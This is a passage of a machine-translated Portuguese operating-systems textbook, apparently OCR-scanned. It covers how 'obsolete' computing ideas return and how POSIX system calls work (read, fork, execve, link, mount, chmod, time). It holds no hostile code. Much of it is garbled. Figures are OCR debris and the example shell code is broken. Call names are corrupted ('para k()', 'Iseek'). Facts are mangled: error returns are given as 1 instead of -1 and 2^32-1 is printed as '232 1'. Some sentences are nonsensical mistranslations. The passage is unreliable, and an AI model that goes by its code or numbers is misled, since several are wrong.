as mudanças na tecnologia podem trazer de volta alguns dos chamados “conceitos obsoletos”. 
Por esta razão, é importante compreender porque é que um conceito é obsoleto e que 
mudanças no ambiente podem trazê-lo de volta. 

Para tornar este ponto mais claro, consideremos um exemplo simples. Os primeiros 
computadores tinham conjuntos de instruções conectados. As instruções foram executadas 
diretamente pelo hardware e não puderam ser alteradas. Depois veio a microprogramação 
(introduzida pela primeira vez em larga escala com o IBM 360), na qual um intérprete subjacente 
executava as “instruções de hardware” no software. A execução conectada tornou-se obsoleta. 
Não foi flexível o suficiente. Então os computadores RISC foram inventados e a 
microprogramação (ou seja, a execução interpretada) tornou-se obsoleta porque a execução 
direta era mais rápida. Agora estamos vendo o ressurgimento da microprogramação porque ela 
permite que as CPUs sejam atualizadas em campo (por exemplo, em resposta a capacidades 
perigosas de vulnerabilidade da CPU, como Spectre, Meltdown e RIDL). Assim, o pêndulo já 
oscilou vários ciclos entre a execução direta e a interpretação e poderá ainda oscilar novamente 
no futuro. 


Grandes memórias 


Vamos agora examinar alguns desenvolvimentos históricos em hardware e como eles 
afetaram repetidamente o software. Os primeiros mainframes tinham memória limitada. Um IBM 
7090 ou 7094 totalmente carregado, que foi o rei da montanha do final de 1959 até 1964, tinha 
pouco mais de 128 KB de memória. Ele foi programado principalmente em linguagem assembly 
e seu sistema operacional foi escrito em linguagem assembly para economizar memória 
preciosa. 

Com o passar do tempo, compiladores para linguagens como FORTRAN e COBOL ficaram 
bons o suficiente para que a linguagem assembly fosse declarada morta. Mas quando o primeiro 
minicomputador comercial (o PDP-1) foi lançado, ele tinha apenas 4.096 palavras de 18 bits. 
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de memória e a linguagem assembly fez um retorno surpreendente. Eventualmente, os minicomputadores 
adquiriram mais memória e as linguagens de alto nível tornaram-se predominantes. 
eles. 

Quando os microcomputadores surgiram no início da década de 1980, os primeiros tinham memórias de 4 
KB e a programação em linguagem assembly ressuscitou dos mortos. Os computadores embarcados geralmente 
usavam os mesmos chips de CPU que os microcomputadores (8080s, Z80s e 
mais tarde, 8086) e também foram programados inicialmente em assembler. Agora, seus descendentes, os 
computadores pessoais, têm muita memória e são programados em C, 
C++, Python, Java e outras linguagens de alto nível. Os cartões inteligentes estão passando por uma 
desenvolvimento semelhante, embora além de um certo tamanho, os cartões inteligentes muitas vezes tenham um 
Interprete Java e execute programas Java de forma interpretativa, em vez de ter Java 


sendo compilado para a linguagem de máquina do cartão inteligente. 


Hardware de proteção 


Os primeiros mainframes, como o IBM 7090/7094, não tinham hardware de proteção, então 
eles apenas executaram um programa de cada vez. Um programa com bugs poderia destruir o sistema 
operacional e facilmente travar a máquina. Com a introdução do IBM 360, um 
uma forma primitiva de proteção de hardware tornou-se disponível. Estas máquinas poderiam 
em seguida, mantenha vários programas na memória ao mesmo tempo e faça com que eles se revezem 
em execução (multiprogramação). A monoprogramação foi declarada obsoleta. 
Pelo menos até o surgimento do primeiro minicomputador — sem hardware de proteção — a multiprogramação 
não era possível. Embora o PDP-1 e o PDP-8 
não tinha hardware de proteção, eventualmente o PDP-11 o fez, e esse recurso levou à multiprogramação e, 
eventualmente, ao UNIX. 
Quando os primeiros microcomputadores foram construídos eles usavam o chip CPU Intel 8080 
que não tinha proteção de hardware, então voltamos à monoprogramação - um 
programa na memória por vez. Foi somente com o chip Intel 80286 que a proteção 
hardware foi adicionado e a multiprogramação tornou-se possível. Até hoje, muitos 
sistemas embarcados não possuem hardware de proteção e executam apenas um único programa. 
Isso funciona porque os projetistas do sistema têm controle total sobre todo o software. 


Discos 


Os primeiros mainframes eram em grande parte baseados em fita magnética. Eles leriam um programa da 
fita, compilariam, executariam e gravariam os resultados em outra fita. Lá 
não havia discos nem conceito de sistema de arquivos. Isso começou a mudar quando a IBM 
introduziu o primeiro disco rígido — o RAMAC (RAndoM ACcess) em 1956. Ele ocupava cerca de 4 metros 
quadrados de espaço físico e podia armazenar 5 milhões de caracteres de 7 bits, o suficiente para uma única 
foto digital de média resolução. Mas com um anual 
taxa de aluguel de cerca de US$ 35.000, montando um número suficiente deles para armazenar o equivalente a um 
o rolo de filme ficou caro muito rápido. Mas eventualmente os preços caíram e os primitivos 


sistemas de arquivos foram desenvolvidos para os sucessores desses dispositivos pesados. 
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Típico desses novos desenvolvimentos foi o CDC 6600, introduzido em 1964 e 
durante anos, de longe, o computador mais rápido do mundo. Os usuários poderiam criar os chamados 
"arquivos permanentes", dando-lhes nomes e esperando que nenhum outro usuário também tivesse 
decidiu que, digamos, “dados” era um nome adequado para um arquivo. Este era um diretório de nível único. 
Eventualmente, os mainframes desenvolveram sistemas de arquivos hierárquicos complexos, talvez culminando 
no sistema de arquivos MULTICS. 

À medida que os minicomputadores começaram a ser usados, eles também passaram a ter discos rígidos. O 
O disco padrão no PDP-11 quando foi introduzido em 1970 era o disco RKO5, 
com capacidade de 2,5 MB, cerca de metade do IBM RAMAC, mas era apenas cerca de 
40 cm de diâmetro e 5 cm de altura. Mas também tinha inicialmente um diretório de nível único. 
Quando os microcomputadores foram lançados, o CP/M era inicialmente o sistema operacional dominante e 
também suportava apenas um diretório no disquete. Posteriormente, os minicomputadores e microcomputadores 


também passaram a ter sistemas de arquivos hierárquicos. 
Memória virtual 


A memória virtual (discutida no Capítulo 3) oferece a capacidade de executar programas maiores 
do que a memória física da máquina, movendo rapidamente as peças para frente e para trás 
entre RAM e armazenamento estável (SSD ou disco). Ele passou por um desenvolvimento semelhante, 
aparecendo primeiro nos mainframes, depois passando para os minis e micros. A memória virtual também 
permitiu que um programa fosse vinculado dinamicamente a uma biblioteca durante a execução. 
tempo em vez de compilá-lo. O MULTICS foi novamente o primeiro sistema a permitir isso. Eventualmente, a 
ideia se propagou ao longo da linha e agora é amplamente utilizada em 
a maioria dos sistemas UNIX e Windows. 

Em todos estes desenvolvimentos, vemos ideias inventadas num contexto e posteriormente 
descartado quando o contexto muda (programação em linguagem assembly, monoprogramação, diretórios de 
nível único, etc.) apenas para reaparecer em um contexto diferente 
muitas vezes uma década depois. Por esta razão, neste livro, às vezes, examinaremos ideias 
e algoritmos que podem parecer desatualizados nos PCs de última geração de hoje, mas que em breve poderão 
volte em computadores incorporados, relógios inteligentes ou cartões inteligentes. 


1.6 CHAMADAS DE SISTEMA 


Vimos que os sistemas operacionais têm duas funções principais: fornecer 
abstrações para programas de usuário e gerenciamento de recursos do computador. Para o máximo 
parte, a interação entre os programas do usuário e o sistema operacional lida com o 
antigo; por exemplo, criar, gravar, ler e excluir arquivos. O recurso-- 
a parte de gerenciamento é amplamente transparente para os usuários e feita automaticamente. Por isso, 
a interface entre os programas do usuário e o sistema operacional trata principalmente 
lidar com as abstrações. Para realmente entender o que os sistemas operacionais fazem, nós 
deve examinar esta interface de perto. As chamadas de sistema disponíveis na interface variam 


de um sistema operacional para outro, mas os conceitos subjacentes são semelhantes. 
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Somos, portanto, forçados a fazer uma escolha entre (1) generalidades vagas ("os sistemas 
operacionais possuem chamadas de sistema para leitura de arquivos") e (2) algum sistema específico 
("UNIX possui uma chamada de sistema de leitura com três parâmetros : um para especificar o arquivo, 
um para dizer onde os dados serão colocados e outro para dizer quantos bytes ler"). 

Escolhemos a última abordagem. É mais trabalhoso dessa forma, mas dá mais informações sobre 
o que os sistemas operacionais realmente fazem. Embora esta discussão se refira especificamente ao 
POSIX (Padrão Internacional 9945-1), portanto também ao UNIX, System V, BSD, Linux, MINIX 3 e 
assim por diante, a maioria dos outros sistemas operacionais modernos possuem chamadas de sistema 
que executam as mesmas funções, mesmo se os detalhes diferirem. Como a mecânica real de emissão 
de uma chamada de sistema é altamente dependente da máquina e muitas vezes deve ser expressa em 
código assembly, uma biblioteca de procedimentos é fornecida para tornar possível fazer chamadas de 
sistema a partir de programas C e, muitas vezes, também de outras linguagens. 

É útil ter em mente o seguinte. Qualquer computador com CPU única pode executar apenas uma 
instrução por vez. Se um processo estiver executando um programa de usuário no modo de usuário e 
precisar de um serviço de sistema, como a leitura de dados de um arquivo, ele deverá executar uma 
instrução trap para transferir o controle para o sistema operacional. O sistema operacional então 
descobre o que o processo de chamada deseja inspecionando os parâmetros. Em seguida, ele executa 
a chamada do sistema e retorna o controle para a instrução seguinte à chamada do sistema. De certa 
forma, fazer uma chamada de sistema é como fazer um tipo especial de chamada de procedimento — 
apenas as chamadas de sistema entram no kernel e as chamadas de procedimento não. 


Para tornar o mecanismo de chamada do sistema mais claro, vamos dar uma olhada rápida na 
chamada do sistema read . Conforme mencionado acima, possui três parâmetros: o primeiro 
especificando o arquivo, o segundo apontando para o buffer e o terceiro fornecendo a quantidade de 
bytes a serem lidos. Como quase todas as chamadas de sistema, ela é invocada a partir de programas 
C chamando um procedimento de biblioteca com o mesmo nome da chamada de sistema: read. Uma 
chamada de um programa C pode ser assim: 


contagem = leitura(fd, buffer, nbytes); 


A chamada do sistema (e o procedimento da biblioteca) retorna o número de bytes realmente lidos na 
contagem. Este valor normalmente é igual a nbytes, mas pode ser menor, se, por exemplo, o fim do 
arquivo for encontrado durante a leitura. 

Se a chamada do sistema não puder ser realizada devido a um parâmetro inválido ou a um erro de 
disco, a contagem será definida como 1 e o número do erro será colocado em uma variável global, errno. 
Os programas devem sempre verificar os resultados de uma chamada do sistema para ver se ocorreu 
um erro. 

As chamadas do sistema são executadas em uma série de etapas. Para tornar este conceito mais 
claro, vamos examinar a chamada read discutida acima. Na preparação para chamar o procedimento de 
leitura da biblioteca, que na verdade faz a chamada do sistema read , o programa chamador primeiro 
prepara os parâmetros, por exemplo, armazenando-os em um conjunto de registradores que, por 
convenção, são usados para parâmetros. Por exemplo, em CPUs x86-64, Linux, FreeBSD, Solaris e 
macOS usam a convenção de chamada System V AMD64 ABI , o que significa que os primeiros seis 
parâmetros são passados nos registros RDI, RSI, RDX, 
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RCX, R8 e R9. Se houver mais de seis argumentos, o restante será colocado na pilha. Como temos apenas três argumentos para o 


procedimento de leitura da biblioteca, isso é mostrado nas etapas 1 a 3 na Figura 1.17. 


Endereço 
OxFFFFFFFF 


Retornar ao chamador 


Procedimento 
da biblioteca lido 


Espaço do usuário 


Programa do usuário 
chamando read 


Eswauelmtes registro RDI 


RE 


Espaço do kernel B 7 7 Manipulador de 
a : espacho 
(Sistema operacional) p ED chamadas Sys 


o 
0 


Figura 1-17. As 10 etapas para fazer a chamada do sistema ser lida (fd, buffer, nbytes). 


O primeiro e o terceiro parâmetros são passados por valor, mas o segundo parâmetro é uma referência, o que significa que o 
endereço do buffer é passado, não o conteúdo do buffer. Depois vem a chamada real para o procedimento da biblioteca (etapa 4). Esta 


instrução é a instrução normal de chamada de procedimento usada para chamar todos os procedimentos. 


O procedimento da biblioteca, escrito em linguagem assembly, normalmente coloca o número de chamada do sistema em um 
local onde o sistema operacional o espera, como o registro RAX (etapa 5). Em seguida, ele executa uma instrução trap (como a instrução 
SYSCALL X86-64) para alternar do modo de usuário para o modo kernel e iniciar a execução em um endereço fixo dentro do kernel 
(etapa 6). A instrução trap é, na verdade, bastante semelhante à instrução de chamada de procedimento, no sentido de que a instrução 


que a segue é obtida de um local distante e o endereço de retorno é salvo na pilha para uso posterior. 


No entanto, a instrução trap também difere da instrução de chamada de procedimento em dois aspectos fundamentais. Primeiro, 
como efeito colateral, ele muda para o modo kernel. 
A instrução de chamada de procedimento não altera o modo. Segundo, em vez de fornecer um endereço relativo ou absoluto onde o 


procedimento está localizado, a instrução trap não pode saltar para um endereço arbitrário. Dependendo da arquitetura, ou 
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salta para um único local fixo (este é o caso da instrução SYSCALL x86-4) ou há um campo de 8 bits 
na instrução fornecendo o índice em uma tabela na memória contendo endereços de salto, ou 
equivalente. 

O código do kernel que começa seguindo a armadilha examina o número de chamada do sistema 
no registro RAX e então despacha para o manipulador de chamada de sistema correto, geralmente 
através de uma tabela de ponteiros para manipuladores de chamada de sistema indexados no número 
de chamada de sistema (etapa 7) . Nesse ponto, o manipulador de chamadas do sistema é executado 
(etapa 8). Depois de concluir seu trabalho, o controle pode ser retornado ao procedimento da biblioteca 
do espaço do usuário na instrução seguinte à instrução trap (etapa 9). Este procedimento então retorna 
ao programa do usuário da maneira usual que o procedimento chama return (etapa 10), que então 
continua com a próxima instrução no programa (etapa 11). 

Na etapa 9 acima, dissemos “pode ser retornado ao procedimento da biblioteca do espaço do 
usuário” por um bom motivo. A chamada do sistema pode bloquear o chamador, impedindo-o de 
continuar. Por exemplo, se ele estiver tentando ler no teclado e nada tiver sido digitado ainda, o 
chamador deverá ser bloqueado. Nesse caso, o sistema operacional verificará se algum outro processo 
pode ser executado em seguida. Posteriormente, quando a entrada desejada estiver disponível, este 
processo chamará a atenção do sistema e executará as etapas 9 e 10. 

Nas seções a seguir, examinaremos algumas das chamadas de sistema POSIX mais utilizadas 
ou, mais especificamente, os procedimentos de biblioteca que fazem essas chamadas de sistema. 
POSIX tem cerca de 100 chamadas de procedimento. Alguns dos mais importantes estão listados na 
Figura 1.18, agrupados por conveniência em quatro categorias. No texto, examinaremos brevemente 
cada chamada para ver o que ela faz. 

Em grande medida, os serviços oferecidos por estas chamadas determinam a maior parte do que 
o sistema operativo tem de fazer, uma vez que a gestão de recursos em computadores pessoais é 
mínima (pelo menos em comparação com máquinas grandes com múltiplos utilizadores). Os serviços 
incluem coisas como criar e encerrar processos, criar, excluir, ler e gravar arquivos, gerenciar diretórios 
e executar entrada e saída. 

À parte, vale ressaltar que o mapeamento de chamadas de procedimento POSIX para chamadas 
de sistema não é um para um. O padrão POSIX especifica uma série de procedimentos que um sistema 
compatível deve fornecer, mas não especifica se são chamadas de sistema, chamadas de biblioteca 
ou qualquer outra coisa. Se um procedimento puder ser executado sem invocar uma chamada de 
sistema (isto é, sem capturar o kernel), ele normalmente será executado no espaço do usuário por 
razões de desempenho. No entanto, a maioria dos procedimentos POSIX invoca chamadas de sistema, 
geralmente com um procedimento mapeado diretamente em uma chamada de sistema. Em alguns 
casos, especialmente quando vários procedimentos necessários são apenas pequenas variações uns 
dos outros, uma chamada de sistema trata mais de uma chamada de biblioteca. 


1.6.1 Chamadas de Sistema para Gerenciamento de Processos 
O primeiro grupo de chamadas na Figura 1.18 trata do gerenciamento de processos. Fork é um 


bom lugar para começar a discussão. Fork é a única maneira de criar um novo processo em POSIX. 
Ele cria uma duplicata exata do processo original, incluindo todo o arquivo 
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INTRODUÇÃO 


INDIVÍDUO. 


Gerenciamento de processos 


Chamar 


Descrição 


pid = para k() 


Crie um processo filho idêntico ao pai 


pid = waitpid(pid, &statloc, opções) s = 


Espere que uma criança termine 


execve(nome, argv, ambiente) exit(status) 


Substituir a imagem principal de um processo 


Encerrar a execução do processo e retornar o status 


Gerenciamento de arquivos 


Chamar 


Descrição 


fd = abrir (arquivo, como, ...)s = 


Abra um arquivo para leitura, gravação ou ambos 


fechar (fd) n = ler 


Fechar um arquivo aberto 


(fd, buffer, nbytes) n = escrever (fd, 


Ler dados de um arquivo em um buffer 


buffer, nbytes) posição = Iseek (fd, 


Gravar dados de um buffer em um arquivo 


deslocamento, de onde) s = estatística(nome, &buf) 


Mova o ponteiro do arquivo 


Obtenha informações de status de um arquivo 


Gerenciamento de diretório e sistema de arquivos 


Chamar 


Descrição 


s = mkdir(nome, modo) s = 


Crie um novo diretor y 


rmdir(nome) s = 


Remover um diretório vazio 


link(nome1, nome2) s = 


Crie uma nova entrada, nome2, apontando para nome1 


desvincular(nome) s = 


Remover uma entrada do diretor 


montar(especial, nome, sinalizador) s = 


Monte um sistema de arquivos 


umount(especial) 


Desmontar um sistema de arquivos 


Diversos 


Chamar 


Descrição 


s = chdir(nome do diretório) 


Mude o diretor de trabalho 


s = chmod(nome, modo) s = kill(pid, 


Alterar os bits de proteção de um arquivo 


sinal) segundos = 


Envie um sinal para um processo 


tempo(&segundos) 


Obtenha o tempo decorrido desde 1º de janeiro de 1970 


Figura 1-18. Algumas das principais chamadas de sistema POSIX. O código de retorno s é 1 se 


ocorreu um erro. Os códigos de retorno são os seguintes: pid é um ID de processo, fd é um 


descritor de arquivo, n é uma contagem de bytes, posição é um deslocamento dentro do arquivo e segundos 


é o tempo decorrido. Os parâmetros são explicados no texto. 


descritores, registros — tudo. Após o fork, o processo original e a cópia 

(pai e filho) seguem caminhos separados. Todas as variáveis têm valores idênticos no 
momento da bifurcação, mas como os dados do pai são copiados para criar o filho, 
alterações subsequentes em um deles não afetam o outro. Na verdade, a memória 
da criança pode ser compartilhada cópia na escrita com os pais. Isso significa que o pai 
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e o filho compartilham uma única cópia física da memória até que um dos dois modifique um 
valor em um local da memória — nesse caso, o sistema operacional faz uma cópia do pequeno 
pedaço de memória que contém esse local. Fazer isso minimiza a quantidade de memória que 
precisa ser copiada a priori, pois muita coisa pode permanecer compartilhada. 

Além disso, parte da memória, por exemplo, o texto do programa não muda, portanto sempre 
pode ser compartilhado entre pai e filho. A chamada fork retorna um valor que é zero no filho e 
igual ao PID (Process IDentifier) do filho no pai. Usando o PID retornado, os dois processos 
podem ver qual é o processo pai e qual é o processo filho. 


Na maioria dos casos, após uma bifurcação, o filho precisará executar um código diferente 
do pai. Considere o caso da casca. Ele lê um comando do terminal, bifurca um processo filho, 
espera que o filho execute o comando e então lê o próximo comando quando o filho termina. 
Para esperar que o filho termine, o pai executa uma chamada de sistema waitpid, que apenas 
espera até que o filho termine (qualquer filho, se existir mais de um). Waitpid pode esperar por 
um filho específico ou por qualquer filho antigo definindo o primeiro parâmetro como 1. Quando 
o waitpid for concluído, o endereço apontado pelo segundo parâmetro, statloc, será definido 
para o status de saída do processo filho (normal ou anormal valor de rescisão e saída). Várias 
opções também são fornecidas, especificadas pelo terceiro parâmetro. Por exemplo, retornar 
imediatamente se nenhuma criança já tiver saído. 


Agora considere como fork é usado pelo shell. Quando um comando é digitado, o shell 
inicia um novo processo. Este processo filho deve executar o comando do usuário. 
Isso é feito usando a chamada de sistema execve, que faz com que toda a sua imagem principal 
seja substituída pelo arquivo nomeado em seu primeiro parâmetro. Um shell altamente 
simplificado que ilustra o uso de fork, waitpid e execve é mostrado na Figura 1.19. 


#define VERDADEIRO 1 


while (TRUE) / * repetir para 
{ digite prompt(); sempre *// * exibir prompt na tela 
ler comando(comando, parâmetros); */ /* ler a entrada do terminal */ 
if (for k() = 0) /* fork off processo filho */ 
(/* Código pai. */ 
waitpid(1 , &status, 0); } /*espera a criança sair*/ 
else { / 
* Código filho. */ 
execve(comando, parâmetros, 0); /* executa o comando */ 


Figura 1-19. Uma casca despojada. Ao longo deste livro, presume-se que VERDADEIRO 
seja definido como 1. 


No caso mais geral, execve possui três parâmetros: o nome do arquivo a ser executado, 
um ponteiro para o array de argumentos e um ponteiro para o ambiente 
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variedade. Estes serão descritos em breve. Várias rotinas de biblioteca, incluindo execl, execv, 
execle e execve, são fornecidas para permitir que os parâmetros sejam omitidos ou especificados 
de várias maneiras. Ao longo deste livro usaremos o nome exec para representar a cnamada de 


sistema invocada por todos eles. 
Consideremos o caso de um comando como 


cp arquivo1 arquivo? 


usado para copiar arquivo1 para arquivo2. Após a bifurcação do shell, o processo filho localiza e 
executa o arquivo cp e passa para ele os nomes dos arquivos de origem e de destino. 


O programa principal do cp (e o programa principal da maioria dos outros programas C) 
contém a declaração 


principal(argc, argv, envp) 


onde argc é uma contagem do número de itens na linha de comando, incluindo o nome do 
programa. Para o exemplo acima, argc é 3. 

O segundo parâmetro, argv, é um ponteiro para um array. O elemento i dessa matriz é um 
ponteiro para a i-ésima string na linha de comando. Em nosso exemplo, argv[0] apontaria para a 
string "cp", argv[1] apontaria para a string “ile1" e argv[2] apontaria para a string "file2". 


O terceiro parâmetro de main, envp, é um ponteiro para o ambiente, uma matriz de strings 
contendo atribuições no formato nome = valor usado para passar informações como o tipo de 
terminal e o nome do diretório inicial para os programas. Existem procedimentos de biblioteca que 
os programas podem chamar para obter as variáveis de ambiente, que são frequentemente usadas 
para personalizar como um usuário deseja executar determinadas tarefas (por exemplo, a 
impressora padrão a ser usada). Na Figura 1.19, nenhum ambiente é passado para o filho, então 
o terceiro parâmetro de execve é zero. 

Se exec parecer complicado, não se desespere; é (semanticamente) a mais complexa de 
todas as chamadas de sistema POSIX. Todos os outros são muito mais simples. Como exemplo 
simples, considere exit, que os processos devem usar quando terminarem de ser executados. 
Possui um parâmetro, o status de saída (0 a 255), que é retornado ao pai via statloc na cnamada 
de sistema waitpid. 

Os processos no UNIX têm sua memória dividida em três segmentos: o segmento de texto 
(isto é, o código do programa), o segmento de dados (isto é, as variáveis) e o segmento de pilha. 
O segmento de dados cresce para cima e a pilha para baixo, como mostra a Figura 1.20. Entre 
eles há uma lacuna de espaço de endereço não utilizado. A pilha cresce automaticamente na 
lacuna, conforme necessário, mas a expansão do segmento de dados é feita explicitamente 
usando uma chamada de sistema, br k, que especifica o novo endereço onde o segmento de 
dados deve terminar. Esta chamada, no entanto, não é definida pelo padrão POSIX, uma vez que 
os programadores são encorajados a usar o procedimento da biblioteca malloc para alocar 
armazenamento dinamicamente, e a implementação subjacente do malloc não foi considerada um 
assunto adequado para padronização, uma vez que poucos programadores a utilizam. diretamente 
e é duvidoso que alguém perceba que br k não está em POSIX. (Em 
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na maioria dos sistemas, também existem outras áreas de memória, por exemplo, aquelas criadas com a 


chamada de sistema mmap , que cria novas áreas de memória virtual, mas falaremos delas mais tarde.) 


Endereço (hexadecimal) 


FFFF 


Figura 1-20. Os processos têm três segmentos: texto, dados e pilha. 


1.6.2 Chamadas de Sistema para Gerenciamento de Arquivos 


Muitas chamadas do sistema estão relacionadas ao sistema de arquivos. Nesta seção, veremos chamadas 
que operam em arquivos individuais; no próximo examinaremos aqueles que envolvem diretórios ou o sistema 
de arquivos como um todo. 

Para ler ou gravar um arquivo, ele deve primeiro ser aberto. Esta cnamada especifica o nome do arquivo 
a ser aberto, seja como um nome de caminho absoluto ou relativo ao diretório de trabalho, bem como um código 
O RDONLY, O WRONLY ou O RDWR, significando aberto para leitura, gravação ou ambos. Para criar um novo 
arquivo, é utilizado o parâmetro O CREAT . 


O descritor de arquivo retornado pode então ser usado para leitura ou gravação. Posteriormente, o arquivo 
pode ser fechado por fechamento, o que torna o descritor de arquivo disponível para reutilização em uma 


abertura subsequente . 
As chamadas mais utilizadas são, sem dúvida, de leitura e escrita. Vimos ler ouvido 


mentiroso. Write tem os mesmos parâmetros. 

Embora a maioria dos programas leiam e gravem arquivos sequencialmente, para algumas aplicações 
os programas precisam ser capazes de acessar qualquer parte de um arquivo aleatoriamente. Associado a 
cada arquivo está um ponteiro que indica a posição atual no arquivo. Ao ler (escrever) sequencialmente, 
normalmente aponta para o próximo byte a ser lido (escrito). 
A chamada Iseek altera o valor do ponteiro de posição, de modo que as chamadas subsequentes para leitura 
ou gravação possam começar em qualquer lugar do arquivo. 


Lseek tem três parâmetros: o primeiro é o descritor de arquivo do arquivo, o segundo é uma posição 
do arquivo e o terceiro informa se a posição do arquivo é relativa ao início do arquivo, à posição atual ou 
ao final do arquivo . O valor retornado por Iseek é a posição absoluta no arquivo (em bytes) após a 


alteração do ponteiro. 
Para cada arquivo, o UNIX controla o modo do arquivo (arquivo normal, arquivo especial, diretório e assim 


por diante), tamanho, hora da última modificação e outras informações. Os programas podem solicitar essas 
informações por meio da chamada do sistema estatístico . O primeiro parâmetro 


Machine Translated by Google 


58 INTRODUÇÃO INDIVÍDUO. 1 


especifica o arquivo a ser inspecionado; o segundo é um ponteiro para uma estrutura onde a informação será colocada. As chamadas 


fstat fazem a mesma coisa para um arquivo aberto. 
1.6.3 Chamadas de Sistema para Gerenciamento de Diretório 


Nesta seção, veremos algumas chamadas de sistema que estão mais relacionadas a diretórios ou ao sistema de arquivos como 
um todo, em vez de apenas a um arquivo específico, como na seção anterior. As duas primeiras chamadas, mkdir e rmdir, criam e 
removem diretórios vazios, respectivamente. A próxima chamada é link. Sua finalidade é permitir que o mesmo arquivo apareça com 
dois ou mais nomes, geralmente em diretórios diferentes. Um uso típico é permitir que vários membros da mesma equipe de 
programação compartilhem um arquivo comum, com cada um deles tendo o arquivo exibido em seu próprio diretório, possivelmente 


com nomes diferentes. 


Compartilhar um arquivo não é o mesmo que dar uma cópia privada a cada membro da equipe; ter um arquivo compartilhado significa 
que as alterações feitas por qualquer membro da equipe ficam instantaneamente visíveis para os outros membros — há apenas um 


arquivo. Quando são feitas cópias de um arquivo, as alterações subsequentes feitas em uma cópia não afetam as outras. 


Para ver como o link funciona, considere a situação da Figura 1.21(a). Aqui estão dois usuários, ast e jim, cada um com seu 


próprio diretório com alguns arquivos. Se ast agora executa um programa contendo a chamada do sistema 


link("/usr/jim/memo", "/usr/ast/nota"); 


o arquivo memo no diretório de jim agora é inserido no diretório ast com o nome note. Depois disso, /usr/jim/memo e /usr/ast/note 
referem-se ao mesmo arquivo. Além disso, se os diretórios de usuários são mantidos em /usr, /user, /home ou em outro lugar é 


simplesmente uma decisão tomada pelo administrador do sistema local. 


fusr/ast lusr/jim Jusr/ast Jusr/jim 
caixa 31 | caixa 
teste de memorando nota de 70 | memorando 
jogos fc teste 59 | fc 
prog de jogos 38 | progt 


(a) (b) 


Figura 1-21. (a) Dois diretórios antes de vincular /usr/jim/memo ao diretório do ast. (b) Os mesmos diretórios 
após a vinculação. 


Entender como o link funciona provavelmente deixará mais claro o que ele faz. Cada arquivo no UNIX possui um número único, 
seu número i, que o identifica. Este número i é um índice em uma tabela de nós i, um por arquivo, informando quem é o proprietário do 
arquivo, onde está 
blocos de disco são, e assim por diantet. Um diretório é simplesmente um arquivo contendo um conjunto de pares (número i, nome 


ASCII). Nas primeiras versões do UNIX, cada entrada de diretório tinha 16 tA maioria das pessoas ainda os chama de blocos de disco, 


mesmo que residam em SSD. 
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bytes — 2 bytes para o número i e 14 bytes para o nome. Agora, uma estrutura mais complicada é necessária 
para suportar nomes de arquivos longos, mas conceitualmente um diretório ainda é um conjunto de pares 
(número i, nome ASCII). Na Figura 1.21, o correio tem o número i 16 e assim por diante. O que o link faz é 
simplesmente criar uma nova entrada de diretório com um nome (possivelmente novo), usando o número i de 
um arquivo existente. Na Figura 1.21 (b), duas entradas têm o mesmo número i (70) e, portanto, referem-se ao 
mesmo arquivo. Se um deles for removido posteriormente, usando a chamada de sistema unlink, o outro 
permanecerá. Se ambos forem removidos, o UNIX verá que não existem entradas no arquivo (um campo no i- 
node mantém registro do número de entradas de diretório que apontam para o arquivo), então o arquivo é 
removido do SSD ou disco e seus blocos são removidos. retornado ao pool de blocos livres. 


Como mencionamos anteriormente, a chamada do sistema mount permite que dois sistemas de arquivos 
sejam mesclados em um. Uma situação comum é ter o sistema de arquivos raiz, contendo as versões binárias 
(executáveis) dos comandos comuns e outros arquivos muito usados, em uma (sub)partição SSD/disco rígido e 
os arquivos do usuário em outra (sub)partição. 

Além disso, o usuário pode inserir um disco USB com os arquivos a serem lidos. 

Ao executar a chamada do sistema mount, o sistema de arquivos USB pode ser anexado ao 

sistema de arquivos raiz, conforme mostrado na Figura 1.22. Uma instrução típica em C para montar é 


montar("/dev/sdbO", "/mnt", 0); 


onde o primeiro parâmetro é o nome de um arquivo especial de bloco para a unidade USB 0, o segundo 
parâmetro é o local na árvore onde ele será montado e o terceiro parâmetro informa se o sistema de arquivos 


deve ser montado em leitura-gravação ou somente leitura. 


RP Se 


bin dev lib mnt usr bin dev lib usr 


(a) (b) 
Figura 1-22. (a) Sistema de arquivos antes da montagem. (b) Sistema de arquivos após a montagem. 


Após a chamada mount, um arquivo na unidade O pode ser acessado apenas usando seu caminho do 
diretório raiz ou do diretório de trabalho, independentemente de qual unidade ele está. Na verdade, a segunda, 
terceira e quarta unidades também podem ser montadas em qualquer lugar da árvore. A chamada mount 
possibilita integrar mídia removível em uma única hierarquia de arquivos integrada, sem a necessidade de se 
preocupar com o dispositivo em que o arquivo está. 

Embora este exemplo envolva unidades USB, partes de discos rígidos (geralmente chamadas de partições ou 
dispositivos secundários) também podem ser montadas dessa forma, assim como discos rígidos externos e 
SSDs. Quando um sistema de arquivos não for mais necessário, ele poderá ser desmontado com a chamada 
de sistema umount. Depois disso, não estará mais acessível. Claro, se for necessário mais tarde, pode ser 
montado novamente. 
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1.6.4 Chamadas de Sistema Diversas 


Também existe uma variedade de outras chamadas de sistema. Veremos apenas quatro deles 
aqui. A chamada chdir altera o diretório de trabalho atual. Depois da ligação 


chdir("/usr/ast/teste"); 


uma abertura no arquivo xyz abrirá /usr/ast/test/ xyz. O conceito de um diretório de trabalho elimina a 
necessidade de digitar nomes de caminhos absolutos (longos) o tempo todo. 

No UNIX, cada arquivo possui um modo usado para proteção. O modo inclui o 
bits de leitura-gravação-execução para o proprietário, grupo e outros. A chamada do sistema chmod 
torna possível alterar o modo de um arquivo. Por exemplo, para tornar um arquivo somente lido por todos, 
exceto o proprietário, pode-se executar 


chmod("arquivo", 0644); 


A chamada do sistema kill é a forma como os usuários e processos do usuário enviam sinais. Se um 
processo está preparado para capturar um sinal específico, então, quando ele chega, um manipulador de sinal é 
correr. Se o processo não estiver preparado para lidar com um sinal, então sua chegada mata o processo (daí o 
nome da chamada). 

POSIX define vários procedimentos para lidar com o tempo. Por exemplo, 
time apenas retorna a hora atual em segundos, com 0 correspondendo a 1º de janeiro de 1970 
à meia-noite (exatamente quando o dia estava começando, não terminando). Em computadores que usam 32 bits 
palavras, o valor máximo que o tempo pode retornar é 232 1 segundos (assumindo que um número inteiro sem 
sinal seja usado). Este valor corresponde a pouco mais de 136 anos. Assim em 
no ano de 2106, os sistemas UNIX de 32 bits enlouquecerão, não muito diferente do famoso Y2K 
problema que teria causado estragos nos computadores do mundo em 2000, foram 
não pelo enorme esforço que a indústria de TI fez para resolver o problema. Se você atualmente possui um 
sistema UNIX de 32 bits, é aconselhável trocá-lo por um de 64 bits. 
em algum momento antes do ano de 2106. 


1.6.5 A API do Windows 


